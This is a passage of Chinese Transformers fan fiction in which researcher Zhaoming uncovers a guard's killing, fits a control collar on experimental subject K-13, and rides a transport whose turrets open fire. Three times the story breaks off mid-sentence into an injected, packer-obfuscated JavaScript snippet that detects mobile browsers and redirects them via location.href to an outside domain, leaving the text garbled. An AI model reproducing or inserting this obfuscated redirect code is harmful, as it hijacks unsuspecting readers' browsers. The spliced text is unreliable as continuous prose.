在风语像吞了生锈零件一样的表情里,照明耸耸肩,起身:“是的,就是这么惨,他非要来掺和这个项目。我先走了,去看看他又准备干什么。” 22. 问题与回答 照明抵达了隔离区。 奇怪的是,她看到有一个量产机正在走廊里徘徊。 怎么,刚刚和风语编完瞎话,就真有小兵出现在隔离区了? 虽然搬到了北极,一应监控设施都有所松懈,但新的研究所还是按照旧有的结构重新架构起来的。 隔离区是研究员的主场,除了巡逻或是保障研究员安全的警卫外,其他杂兵不应无故出现在这里。 如果管理他的上级作风比较严格,这个小兵甚至会遭到处罚。 小兵的变形形态应该是一架飞机,他的机翼随着主人的心绪而忽上忽下、没有条理地上下胡乱摆动着。 照明没有在他的机体上看到警卫的标志;他单薄的装甲和手臂上装配着的落后武器,也证明了他不是一个警卫。 照明没有多管闲事的欲望,在芯头嘀咕了一下就作罢。 量产机中央处理器的设计比较简单,所以他们偶尔会呆呆的,在战场上射不准敌人、甚至打到自己人的情况也时有发生。 如此看来,他们在不属于他们的地方乱兜圈子也是机之常情。这可能又是一个不小心走到不恰当的地方的新兵。 照明和小兵侧身而过,她小心地避让了一下,以免撞到他。 小兵又在原地犹豫了一会,照明用光学镜的余光瞥见他跟上了自己。 如果他走错地方,现在想要离开,应该往反方向走才对。往现在这个方向走只会让他更加深入隔离区。 照明停下脚步,想要提醒一下他;不料身后的小兵也跟着停下脚步,但是反应迟了几秒。 他跟得太紧了,差点没撞到照明身上,足部装甲因为主人的紧急刹车,碰撞出一阵尴尬的响声。 照明有点无奈又有点好笑。好吧,至少现在确定他确实在跟踪自己。 她转过头,淡淡问道:“你为什么跟踪我?” 小兵吓了一跳,连忙敬礼。 放下手后,他带着点局促说道:“对不起长官,我不是故意要跟踪您。我……我认识您。虽然您不是我的直属上级,但您救过我。” 照明疑惑地打量小兵。 量产机长得都差不多,只有为数不多的几种形态,而这几种形态之间的区别也不大。 再加上她从不相信自己的面部识别系统。她这个系统不知道出了什么故障,往往要输入三次以上的信息,才能把一个机的特征和名字对上号。 当初取代炸药成为K-13的管理者时,那句反击一部分是故意气炸药,也有一大部分是真心的——照明当时确实不记得他的名字了。 小兵应该是察觉到照明不记得了,连忙补充:“上次噬铁虫袭击时,您和风语长官挡在我们前面,救下了我和整队人……我们都很感激。” “噢。”照明想起来了。是当时运输补给的那队小兵。他应该是其中之一。 “你就是在混乱中把激光枪扔进虫群的那个。”照明揶揄道。 虽有些不好意思,但见照明记起了他,小兵的护目镜亮了起来:“是的!是的。是我。” “那你拦住我,是想说什么呢?” 小兵挠了挠头雕,照明的耐心给了他询问的勇气:“虽然您应该不知道,但我还是想问问。我在找一个人。他叫钢圈,是安保部的一个警卫队长。他好像被调走了,有一段时间没消息了。我知道他以前在这一区工作过,就想着来这里碰碰运气。” 照明皱起了眉头。 小兵说的机子她不可能认识,但是他的描述却给她一种奇怪的既视感。 警卫队长……钢……? 直到她回想起风语的话,直到她回想起黑骑士办公室里那个破碎的机体。 不会吧。 照明横过手臂,切换出屏幕,调出了那只有半张面甲的照片,依然只截取了面部。 她把小电子屏翻转过来,为了让这个小兵能看到。 “是他吗?” 这照片实在模糊,饶是风语也看了大半天,换成照明或者其他人根本不可能认得出来。 但就在图像映入视野的那一刻,这个小兵一眼就认出了警卫队长的照片。 他激动到甚至撤下了战斗面具,快速置换气体:“是的!就是他!没错。请问您是在哪里看到他的,长官?” 照明芯头更加疑云重重。不怪她多疑,实在是太巧了。 这个时间,这个地方,这个问题。 尽管不太了解所长,但是黑骑士的威胁毕竟还是给照明芯头蒙上了一层阴影。 不是照明多疑。但是,这并不是很夸张的揣测,谁知道他是不是所长的一个活动眼线呢? 她微微后退一步,语气冷了些:“我想先问你一个问题。你为什么要问他的去向?” 小兵的机体语言变了。他变得退缩,一只脚微微向后退了一步。 “我只是想知道,他是不是还好。” “你知道这不是我问的重点。” 沉默蔓延开来。 在照明坚定的目光下,小兵张了张嘴。他不安地挪动了几下,随即垮下了机体,好像变得更矮小了一点。 他放低了声音:“请别举报我们。我们——我们是火种伴侣。” 照明不知道作何反应,缓慢地眨了眨光学镜。 这……出乎意料。不是她预期中的任何一个答案。 小兵立刻补了一句,像是怕冒犯了什么:“我知道我们没有真正的火种,也不能进行火种融合。但事情就是这样发生了。” “我们有个约定。他说这里有一种很美的景象,叫做‘极光’。他说任务结束后就会来找我,如果能请到假,就带我一起去看。” “但……他没来。” 他的话语中满是迟疑与羞赧,又带着一丝丝和外人分享情侣日常的甜蜜。 是啊。 量产机没有火种。 心心相印的他们甚至无法做到火种融合。这个机子也就更不可能通过火种融合形成的火种链接,感应到伴侣生命的消逝。 钢圈不会再出现,也再没有机会完成约定,带着他满心企盼的伴侣去看一次极光。 他早已痛苦地、默默无言地死在了高层的办公室。 照明始终没打断小兵一句话,只是安静听着。 直到说完,小兵才像意识到自己越界了,整个机子瞬间恨不得钻进地缝:“对不起,我不该耽误您的时间!我马上离开!” 照明:“你确实不应该在这里。如果被其他研究员发现,你可能会受罚。” 小兵点点头,头雕垂得更低了。 然而他没有收到准许离开的命令。 面前的高级研究员没有因为他的冒犯而恼怒,只是温柔问他:“你说他以前在这一区工作过,那应该是负责研究员的安保工作吧。你知道他具体是在哪个实验室服役的吗?” 小兵摇了摇头,这个他也不清楚,他的伴侣并没有多说工作的细节。 照明刚想让他离开,忽然,一个念头电光火石地闪过她的脑海。 被这种可怕的猜想驱使着,她问道:“那你知道他之前的直属上级是谁吗?他负责保护的研究员?” 小兵确实知道。 这个研究员对他来说也不算陌生。不仅是钢圈曾经向他抱怨过,他不久前还亲眼看到那个研究员把自己的队友向噬铁虫群推去。 虽然早就知道他们微不足道,但是被如此轻易地当成脱离死亡的垫脚石,还是让他…… 这应该也不算什么秘密吧,可以告诉她。眼前的研究员值得信任。 于是他开口,说出了研究员的名字:“是炸药长官。” 炸药在照明接管K-13之后,就调到了其他研究区域,据照明所知,他之前的项目也没有在这一区的。 那就只可能是…… 小兵还在期待地看着她,等待着照明说出火伴的下落。 照明合上光学镜。 然后睁开。 她说:“我在一个不该有人出现的地方看到过钢圈。” 她语气平静,却没有继续。 小兵的声音颤抖:“……他现在,怎么样了?” “别让别人知道你问过我这件事。还有,别再到处找人问他了,这对你们都好。” 这已经足够像一个确定的答案。 小兵失魂落魄,但是毕竟还抱着一丝希望。他点点头,得到照明允许后就快速离开了。 照明目送着小兵离开,他的身影消失在走廊的尽头。 她不由得又调出照片看了眼。 钢圈甚至都不是一个研究员。 他只是一个普通警卫,日常的工作就是巡逻,特别之处或许就是当过高级研究员的护卫。 重点不是炸药,而是炸药当时在处理的项目——K-13。 照明以前就疑惑过了。“高度机密”的项目,究竟机密在什么地方? 保守K-13实验的秘密,甚至她本身的存在,真的只是为了防备汽车人吗? 钢圈的消失不是黑骑士所长随机的暴力行为,或许都不是工作不善的惩罚。 整个事件充满着知情者被清理的味道。 是钢圈泄露了什么吗? 如果不是,那是否意味着黑骑士想让知道K-13具体情况的机子越来越少? 现在是钢圈,之后呢。 黑骑士的名单上还有谁? —————— 炸药已经在实验室里等着了,应该是伊迪斯给他开通了门禁的权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346952|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限。 见照明到来,他不耐烦地道:“你可算是来了啊?我在这里等了很久了,你知道吗?你耽误了宝贵的研究时间。有机会我会向上面汇报这件事的。” 照明选择忽略他的威胁,直奔重点:“所长要K-13干什么?” 炸药的挑衅一拳打在了棉花上,他从通风口里喷出一口气,简单地转述了泽卡莱亚交代的任务细节。 所以他有时候还是能说人话的。照明想。 这个新任务还挺别具一格,是一场模拟的战斗演习,目的是为评估K-13的整体实战功能性与战术反应能力。 炸药轻蔑地称之为“废物利用”计划。 照明暗暗思索。 莫非是K-13那一场和汽车人的战斗吸引了黑骑士的注意,她想看看K-13能做到什么程度? 但战斗听起来像是指挥部直属管辖的事情。在这个小小的初级研究所,连一套备用的医疗工具都没有,居然有这种高精尖的沉浸式模拟设备? 被照明这样一问,炸药也是一愣,他应该是没有想过这一点。 不过他马上嗨呀一声,自洽地找好了解释——先做再说,问这么多干嘛?说不定是报应号那边派下来的临时任务,那他们自然也会把相应的设备送过来的。何况,这更加说明了这项研究受到上面重视啊。 接着他又发表了一番高论。 大概总结归纳一下,就是从这个任务是多么重要云云,到他是如何请求调回本项目的过程,表达高层还是看重他的,再到酸溜溜的几句对照明的贬低,辅之以升职后回到赛博坦走上机生巅峰的幻想。 或许每个基地都会有一个自我意识过剩的人物。更可怕的是,这种人因为表演欲往往会受到上级的赏识。 可见具有才干是一部分,但将其夸耀出来、展示在人前,也是获得重视乃至升迁必不可少的一环。 照明不想当没有能量块拿的免费陪聊,于是左音频接收器进右音频接收器出,没太注意听,让炸药自己表演。 离开的时候照明没有打开隔离仓的隔音设备,所以K-13还能听见外面的声音。 她看到K-13翻了翻光学镜,看来音频接收器被荼毒的机子不止她一个。 不过除了炸药的垃圾话,照明还注意到了一点。 炸药只是抱着手臂,在实验室的医疗泊位旁动也不动地耍嘴皮子;他离隔离仓里的K-13远远的,连个多余的眼神都没有给到K-13。 照明的视线落在炸药僵硬的肩膀上,又扫过他死活不肯靠近的那几步距离。 他不是不想把照明排除在外,就这样带着K-13去做新任务。 是的,炸药绝对不会好意等待照明前来,若是可以,他大概连K-13的诞生都想算进自己的功劳清单;如果他的胆量能再大上那么一些。 然而……没有警卫在场,他根本不敢独自面对K-13,哪怕K-13正被安全地关在隔离仓里。 “哈。”照明看破了现状,一个没忍住,发声器里漏出一声笑来。 她打断了炸药的滔滔不绝,挑明道:“怎么,你不敢靠近K-13吗?” 炸药提高音量,语调也明显拔高:“我……我怕她?开什么玩笑!我只是、我只是觉得你才是这个项目的主要负责人,我是来协助你的嘛!合理分工你懂吗?你懂什么叫团队协作吗?” 照明点了点头。“那么希望你之后也记得这一点。” 炸药不服气,转了转光学镜,说:“你有本事自己去把K-13拉出来啊。喏。” 他从子空间掏出一个东西,丢向照明。 照明一把接住,端详着这样物品。 这是一个项圈。 出自高级研究员手中,决定了它不会是一个普普通通的项圈。 项圈大小可调节,由特制的合金制成,在实验室的冷清灯光下闪耀着。 它的外圈除了几个提示灯外是相对光滑的;而内缘则有数十个微型凸起,这些是特殊设计的连接点。 一旦和佩戴者的颈部锁定,这些连接点除去固定的作用,还将直接与佩戴者的神经回路连接上。 “专门为这个煞星定制打造的,”炸药自豪地宣布,仿佛熊孩子拿到了新玩具,“有电击威慑指令、休眠针剂,还能短暂切断脑模块到机体的神经回路。” 掌握了控制器的人不能说能完全控制佩戴者,但最起码也可以让佩戴者失去行动能力一段时间。 K-13缓缓转动头部,将视线投向项圈。 她的眼神和照明在半空中交汇。 但我相信你会保护我的,不是吗? “你会给她戴上吧?”炸药确认道,随即小声哔哔,“我还想留着我的手指头呢。” 23. 项圈 手上的控制项圈很精巧,质量并不大,但照明拿着,只感觉沉甸甸的。 K-13的注视更叫照明莫名难过。 控制项圈一戴,K-13本就所剩无几的自由便又被夺走了一些。 比起自由,更受挫的想必还是尊严;将自己的清醒和行动与否都交由他人支配。控制项圈提醒着K-13是一件资产,一个怪物,唯独不是一个赛博坦人。 那个“模拟战斗演习”又会是什么样的? 黑骑士下的命令,只怕不是那么容易能完成的。 K-13眼也不错一下地盯着照明,看着她皱着眉头打开隔离仓,拿着项圈接近。 隔离仓在打开的时候,束缚装置也随之启动了。她随意地挣了挣,果然没办法挣脱的样子。 小研究员正左右为难地看着她,像是在等待着什么许可。控制项圈悬在空中,迟迟没有动作。 照明的确在犹豫,害怕不是让她犹豫的因素,她怕的是K-13的反应。 她改过了监控,更是欺骗了黑骑士。现在在炸药面前,也一如既往地装作K-13只是一只沉默的野兽。 为什么? 隐瞒的原因,照明曾对K-13说,只是不想惹麻烦;但她知道这一点只占原因的极小一部分。 那仅仅是保护亦或是善意吗?或许结果上看是这样;不过在这些之外,其实还有一些不可告人的情感驱使着她这样做。 K-13能说话这件事,是她们两个人的秘密。她是K-13第一个承认并交付信任的对象,这是她拥有的某种特权。 K-13优雅的声音、亲密的眼神,只属于她,哪怕这种相处只能隐藏在规则和命令之外的小小角落,在这个实验室中短暂存在。 她……喜欢这种感觉,以至于她明明清楚K-13是一个危险的实验体,却还是想靠近一点、再靠近一点。 她比任何人都更清楚,一旦上报,她们的秘密就不复存在,K-13的某一方面就再也不只是“她的”了。 但这种如丝线一般纤细的信任,那种微妙的默契,会不会被这个项圈给隔断呢? K-13忽地在束缚中扭动了一下,把自己尽可能往前送了送。她微微偏过头,将脖颈主动递出。 照明试探着抬起项圈:“可以吗?” K-13懒懒地看着照明。她又用力歪了歪头,外装甲露出缝隙,里面的内部构造露得更清楚了些。 她不该在乎的。 但K-13总是这样,没错,一切都应该怪她。 危险中带点脆弱,顺从中暗藏诱惑,让她心烦意乱。 照明抚上K-13的脖颈处,她的手在锁死项圈时徘徊不前。 K-13忽然微不可察地又抬了抬下巴,似乎是察觉到了她的迟疑,催促她赶紧迈出最后一步。 项圈锁死的一瞬,照明小声,她的声音低到几乎只是气音:“对不起。” 指示灯立即亮起,代表控制项圈处于激活状态。 K-13的金色光学镜反射出她的红色光学镜,目光从照明的机体到照明的面甲,游弋了一圈,然后又转回来。 她好像用目光在说:我允许了。 炸药的声音打断了她的胡思乱想:“哼,它现在倒是很温顺嘛。你对它做了什么?” 他终是敢于走上前来,手里拿着一个黑色的小装置,厌恶地看着K-13。 “既然戴上了控制项圈,那现在可以把它放出来了。让我先电击一下,叫它尝尝这玩意的厉——” 他话音还没落,照明就劈手夺走了他手里的装置。 “你干什么!” 炸药一阵恼怒,就要上手把控制器抢回来。 然而就在这时,隔离仓的门打开了,是照明操作终端把K-13放了出来。这完全符合规定,毕竟K-13已经戴上了项圈,他们有了控制实验体的手段。 K-13站直了,先活动了一下机体,随即慢慢向着炸药走来。 炸药像被通电了一样跳了起来:“它动了!它要袭击我!快——快控制它!它要——它要杀我——!” 照明深刻怀疑这一点。她完全相信K-13对于分寸的把握,况且K-13并没有展现出杀意。炸药只是太过恐惧才看不出这一点。 所以她没有理会炸药,只是双手抱臂饶有兴致地看着,随口回道:“啊?真的吗?她要袭击你?我怎么什么都没看到呢。” 炸药连滚带爬,他爬得如此之快,以至于撞倒了一个非智能机器人。非智能机器人无辜地在地上滚了两圈,被炸药充作障碍物。他成功地退到了门旁边,缩成了可怜的一小团。 真不知道当时K-13给他留下了什么样的芯理阴影。 照明突然明白了一件事。炸药对K-13的那些粗暴的虐待,那些超过实验限度的残酷尝试,不只是因为残忍,更是因为恐惧。他需要压制她、虐待她,来让自己相信他还掌控着什么。 K-13,如照明预料的那样,没有攻击。 看到炸药吓得几乎要下线后,她似乎失去了威胁炸药的兴致,站在了照明的身后,变回了安静而乖顺的实验体。 照明:“她只是走出隔离仓而已。” 炸药打开光学镜,恐慌、尴尬和无助在他面甲上浮现。 “你瞎了吗?它刚才分明想撕了我!” “她可能只是想和你打招呼吧。毕竟你是她的前任研究员。” “你也太冷血了!我们现在面对的可是一个随时能撕碎人的实验体,连个安保都没有!!你就一点警觉心都没有吗?” 炸药激动地叫唤着,显然上头了,他猛地一拍墙壁,不稳地站了起身。 “你以为你很厉害,嗯?让它能乖乖听话?当上项目的负责人?别以为我不知道,你只是它的服务机而已!它这么听话,是不是你早就让她拆过了?还需要什么体外火种融合么?” “够了。” 照明抬眼看他。 只要不触碰到照明的底线,照明对很多事情都可以不在乎。她情绪很稳定,完全可以让这些无趣的侮辱从旁边划过。 但K-13在旁边。 K-13不知道照明来之后实验的方向发生过改变,照明也不希望她知道。但照明打断的太晚,K-13已经听到了关键词语,照明只希望她没来得及想到这一层。 “怎么,因为真话难听吗——” 不能让炸药再说下去了。 “我说,够了。”照明提高了音量,“你知道你现在只是我的助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358055|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。你如果再在K-13面前说这些话,我会切断你实验日志的访问权限,还有进入实验终端的权限。相信我,我不需要你,但是你需要这个。” 炸药的气势弱了下来,不甘心地说:“我要去举报。” “那就去吧。看看所长会换掉你还是我。” 这个简单的结果炸药还是能想明白的。 他不愿意将好不容易求来的机会再次拱手相让,只好悻悻地道:“行,那你就留着控制器吧。我去催具体的演习安排。” 他摔门而去。 明明只要在通讯里发个信息询问的事情,不过照明没有拦着他落面子之后的落荒而逃。 “你是为了我而威胁他的吗?如果我真的攻击了他,你也会为我遮掩吗?” 照明回过头,才发现K-13和她贴得很近。 她委婉道:“也许我更喜欢看你一句话不说就把他吓个半死。” K-13盯着照明的面甲看了一瞬,似乎觉得这个问题太过火,轻轻一笑,仿佛刚才什么也没说过。 “放松点,我只是开个玩笑。我会当个乖孩子,好好表现的。” 随即K-13附身,轻轻在照明的音频接收器旁吐气说道:“不过他还是不该那样和你说话。” 照明有点痒痒,天线不自觉颤动了几下。 她退了一步说道:“没什么,我早就习惯了。没什么是我没听过的。” K-13露出不认同的神情,但没有反驳。 她换了个话题,思考着:“唔……有一点我很好奇。虽然我早就知道他是个特别讨厌的家伙,可他为什么会这么不尊重你呢?明明你们的职位应该差不多才是。” “还有,他说的‘体外火种融合’又是什么?” K-13果然发现了。 照明不安地避重就轻:“没什么。事情很简单。我犯过错误。他看不起我。” K-13眨着光学镜,照明几乎能看到她中央处理器快速的思考过程。如果她联想到她之前打开火种仓的实验…… 照明连忙试图干扰她的思考:“这些都不重要。说起来,你接受过战斗训练吗?” —————— “说起来,你接受过战斗训练吗?” 隔着几千公里之外的黑色昆式战机里,富勒特工也被问到了同样的问题。 “啥?这是什么问题啊?”他一脸无语地对着金发男人回道,“我当年可是以优异的成绩通过了特训考核。” 正驾驶战机的红发女人闻言笑道:“别介意,特工。克林特只是在和你开玩笑。放松点。” “我放松着呢。” “嗯哼。这就是为什么你的脚像在敲打摩尔斯电码求救信号一样。” 富勒耸耸肩,停下了脚的动作:“我只是在担心这次行动。那些机械生命体不是你想惹怒的敌人。为什么不让我寻求汽车人的帮助呢?” 克林特随意地检查了一下他的箭袋:“把这个问题留给你的上级怎么样?我们和你知道的一样多。” 娜塔莎看了看目标航线,再次提醒:“保持专注。我们进去,取得目标,出来。别闹出大动静。” 她看了一眼通讯,神情轻松了几分:“不过,我们可能会有意料之外的支援呢。” 24. 擦肩而过 根据泽卡莱亚的传达,她们一行人需要到另一个基地进行这个演习任务。 隔离区已经是初级研究所的最深处。研究所的地下既没有被挖地虎继续扩建,也没有新增任何战斗设施。 报应号,也没如炸药所猜测的那样送来新设备,而似乎是直接向黑骑士下达了下一场演习的地点指令。 怕把更多不相干的机子卷进来,照明紧着“保密”这点需求,直到把K-13带到运输机里才松了口气,安下心来。 炸药倒是没有对她严格的保密态度提出什么反对意见。 照明想到曾经他管理K-13的时候,保密工作倒也是做得不错。 或许他也享受着某种享有独家信息的感觉。毕竟,秘密一旦变成公开的,那就不再那么珍贵了。 运输机应该是有专人在开,驾驶舱和后面的部分是隔断式设计,被加固的舱门隔开,防止劫持或干扰,驾驶员在驾驶舱里两耳不闻舱后事。 这个设计理念颇似押解囚犯的囚车,照明和炸药则充当了押解K-13的“警卫”。 K-13的双手被磁力手铐捆束了起来。 这个安排需要归咎于炸药。他在询问安排后顺嘴告了一状,即使没什么用,但是恶心一下照明也是好的。 这导致泽卡莱亚又被派来视察了一趟。 她盯着三人,以各打五十大板的方式裁决了这场麻烦官司——照明保留控制器,但在前往模拟战斗演习设施的路程中,对于K-13需要增加一些管束措施。 ……所以事情就变成了现在这样。 炸药坐在离K-13最远的角落里,绷着面甲一言不发,可能是对这个处理结果感到不满。 照明坐在K-13对面,她正把控制器连接上自己的系统。这样,她就可以直接操控项圈,不再需要通过按控制器这种相对落后的方式。 不过她也暗暗决定,如果没有特殊情况,绝不操控这个项圈。 磁力手铐并没有影响到K-13的好心情。她饶有兴致地打量这不大的空间,把每一样物件都细致地看过了一遍。 物资区与乘员区之间是没有实体隔断的,而是共处在同一个开放式主舱空间里。 她们坐在运输机中部的主货舱。两排狭小的座位被夹在中间,左侧悬挂着几把武器和工具,右侧是几个磁锁集装箱,堆叠的箱体里面装着设备和一些能量块。 照明看着K-13的金色光学镜四处转动,感到有点有趣的同时,火种也被轻轻揪了一下。 这应该是K-13第一次“出远门”吧?说起来,照明自己其实也很久没有离开研究所了。 趁着这片刻空隙,照明让思绪转了几圈。 眼下这一切看起来都井然有序,让她不禁怀疑,自己的担忧是不是空穴来风呢?她是不是只是被黑骑士暴力的处刑给吓到了,让她过度解读了黑骑士的一举一动? 也许这一切只是自己的妄想罢了? 之前看到的录像也不能代表领袖未来的想法没有改变;目前照明也没有确凿的证据表明黑骑士违背了上级授权。哪怕她的手段再粗暴,也未必真在暗中策划什么。 认真的思考又转变为漫无边际的幻想。 短暂的出任务,加上这些方便她们在路上能够补充能量的储备,这出奇得像从前还没脱离磨合期的时候,和月蚀一起去平原上,铺开金属布野餐。 希望她可以成功地组织好这场野餐……不对,是希望一切能顺利进行。 炸药取出了能量块,心不在焉地胡乱往嘴里送去,然后一擦嘴。 这也提醒了照明,到了往常该进行能量补给的时间了。 她也取出一个高级能量块,把它递给K-13。 去进行那个莫名其妙的模拟战斗演习,倒是有一点好处。后勤部门给了点额外的物资,至少她和K-13的能量消耗不用再精打细算了。 叫她意外的是,K-13没有用双手接过,而是微微附身,低头在照明递过去的能量块上轻轻咬了一口。 她看着照明,咽下能量块,又再次附身前倾,似乎想让照明就这样喂她吃完。 照明的风扇加速旋转起来。她故意板着脸道:“自己吃啦。” K-13只是手被拷住了,又不是没办法动!她完全可以双手接过能量块,拿着能量块进食的! K-13用眼神告诉她:不要。 她满怀期待地等待着,就好像她本就应该从照明的手里吃东西那样。 怕引起炸药的注意,照明还是妥协了:“那好吧,下不为例。” 她鼓起面甲,又把能量块举到K-13嘴边。 K-13一口接一口,及其缓慢地吃完了能量块,眼神缱绻地黏在照明身上。 当她终于食用完毕,照明几乎觉得过去了一整个循环,热气蔓延上她的面甲。 她试图不去想K-13的嘴唇是如何轻轻触碰她的指尖,如同一个虔诚的亲吻。她试图不去想K-13是否是有意这样做的。 K-13伸出舌尖,若无其事地轻舔了一下嘴角,动作缓慢而从容,仿佛在品味能量的味道。 照明的光学镜不受脑膜块控制地看了K-13好几秒,然后终于服从了主人的命令,迅速地转移开视线。 “等它哪天咬你一口你就知道了。”炸药看到了这边的景象,忍不住酸溜溜地开了口。 照明根本没仔细听他在说什么,怀着一种莫名的心虚,随意嗯了两声,食用起自己的能量配给来。 运输机的低沉嗡嗡声就这样持续了两个循环。 照明交叉双臂,看着对面正在来回踱步的炸药。舱内空间本来就小,他这样走来走去更加叫人看得烦心。 炸药明显很不耐烦,他抱怨道:“这真是憋闷又浪费时间。为什么不向指挥中心申请开陆地桥过去?” 低级研究所使用陆地桥要先向报应号申请,申请通过后,再由声波情报官在指定的地点和时间打开这个传送装置。 照明也想过这一点。 或许这次任务指挥中心根本就不知情——照明当然没这样说出口。 这一切都和照明悲观的揣测越来越像,让她没有确凿证据的怀疑又积累了一丝。 “可能是为了节省能源吧。”她最后这样说道,试图自我安慰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368571|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 机舱顶部的灯光闪烁了一下。然后……又闪烁了一下。 K-13静静地坐在座位上没有动,但她敏锐地抬头看向机舱顶部,光学镜的视野缩小了。照明也注意到了这点。 一阵短暂的蜂鸣声在三人的音频接收器中回荡,接着,合成的系统声音在舱中单调地响起:【距离警报。探测到有未知军用飞行器接近。启动程序:隐形模式。启动:机舱锁定。】 “等等,这什么情况?” 金属碰撞声响起,运输机内部的各个卡扣都锁紧了。 这个主货舱本就是封闭式的,为了结构强度和保密没有设置观察窗。这让三人更加不清楚外部发生了什么,是否有未知的敌人正在靠近。 但除了驾驶员,其实坐在主舱内的人员也可以通过一种方式得知外部情况。 照明转念一想,站了起来,快步走向监控台。舱内监视系统正是为遇到这种情况而准备的。 “噢,是的,”炸药说,“还有这个——” 他奔了过来,把照明挤开,重重地点击着监控台上的控制面板。 控制面板在卡顿和一阵闪烁后宣布罢工,整个屏幕变黑,只显示出一行提示文字:【系统发生未知错误。请等待一分循环后重试。】 “该死的!” 炸药转向通往驾驶舱的舱门,大踏步走了过去,砸着舱门。 “喂!里面的,打开驾驶舱!我需要观察情况!” 照明尝试给基地发送通讯,但通讯也似乎被莫名的故障所干扰。 没法联系上基地,运输机里,此刻成了真正的孤岛——还是漂浮在空中的那种。 “这可不是一个好兆头。”照明嘀咕着。 她看向K-13,K-13还是在座位上坐着。照明勉强冲着她安抚性地笑了笑。 炸药焦急地叫道:“这下我们可成了活靶子!现在可能有一架战斗机在追着我们打呢,我们需要做点什么。” “别着急,系统不是通报说启用了隐形模式吗?暂时应该没什么问题。” “这倒是……” 但和两人的想法相反,命运似乎打定了注意要和照明对着干;就在这时,系统的播报又响了起来,这次掺杂了奇怪的杂音:【检测到异常实验体。即将启动清除程序,请研究员立即远离危险区域。倒计时开始——30,29,28……】 照明脱口而出:“什么?” 异常实验体?是指K-13吗?可是—— 炸药也非常震惊,他的关注点难得和照明重合了:“可是K-13还有任务要完成啊?而且他渣的这要怎么远离啊?这鬼地方就这么点大,我们不会和它一起被这破系统给弄死吧!” 照明还没来得及回应,忽然,她看到有什么东西似乎动了一下,她扫视四周,刚好看到炸药背后的舱壁开始移动。 铁灰色的舱壁精确地折叠又打开,推出了这架运输机自带的某种武器。 三个光滑的银灰色炮塔出现了。 炮塔旋转了一圈,扫描着,红灯闪烁了一阵,然后齐齐锁定了目标。 【授权已确认。清除程序启动。】 25. 擦肩而过其二 照明想的则是另一方面——还没等到她们被炮塔射死,可能这架运输机就要先被摧毁了。 热武器有很大概率会直接破坏舱体结构,哪怕是装甲运输机也不适合在内部高强度射击,报应号这种军舰两说。 无生命的炮塔自然不会理会乘客们复杂的心情。 随着倒计时的结束,三门炮塔悍然开火! 不是传统的火力弹药或是激光弹,而是释放出一片强劲的电光,直直地向着K-13击来! K-13以一个几乎不可能做到的姿势,躲过了这片电网。 不过下一门炮塔的攻击随之而来,打在了K-13的肩头,让她一个踉跄,手按在了伤处。 “啊!”炸药惨叫一声,疼得倒在地上。 他也被波及了。一簇震荡弹打在机舱壁上,竟能反弹过来,炸药一个没注意被射中了腿部,腿部的组件瞬间错位,只能爬行着向集装箱后躲藏。 就在炮塔又要开火的时候,K-13一扯照明,抱着她也扑向集装箱后;电光划出干净利落的一线,划过她们刚刚所在位置的空气。 照明在K-13身下眨巴了几下光学镜。 但此时也顾不上那么多了。三人藏在磁锁集装箱后,庆幸着箱体足够结实。 三门炮塔各自具备不同武器,但都属于电磁炮塔。 这些电磁炮塔不会破坏运输机,算是不幸中的万幸——毕竟在场的三个机子里,没有一个的变形形态是能够飞行的。 但它们装载的武器能直接烧断变形金刚的神经线路,或让其部件错位、火种停跳等等。 这些电磁炮塔分别单个来看并不致命,毕竟研究所对于实验体一般是以控制为主;但如果这三门炮塔同时候打在一个个体上,那火种源可能就要向你招手了。 不过一直躲在这,等待系统不再故障,也并非完美的解决方案。 集装箱在密集的震荡弹下先是扭曲,然后破裂开一个大洞。金属碎片飞溅开来,实验设备散乱得七零八落。 该庆幸里面装的不是能量块吗? 三人不得不换了一个集装箱躲避。 密集的电磁类攻击压制着她们,况且这些炮塔竟还能更换位置。 要不是开火存在间隙,且有这些障碍物作为掩护,她们早就被射死了。 照明急促道:“我们得进去驾驶舱。驾驶舱里有手动控制,或许可以覆盖这个错误的授权指令。我们必须在它决定清除一切之前强行控制运输机!” 炸药大叫着:“那你想怎么办?驾驶舱门现在可是锁定状态!你要把舱门炸开吗?” “当然不是!我们可是在几万米的高空。”照明没好气地说道,“舱门旁边有控制面板。我想通过破坏里面的线路打开舱门。” 炸药还在犹豫时,K-13已经行动了起来。 她一言不发,猛然跃出箱后,向前冲刺,矮身躲过子弹和电流。 炮塔找到了目标对象,旋转着瞄准K-13,但是K-13的动作更快! 她趁着开火的间隙,将双手向其中一个炮塔砸去,颇有一种“一力降十会”的感觉—— 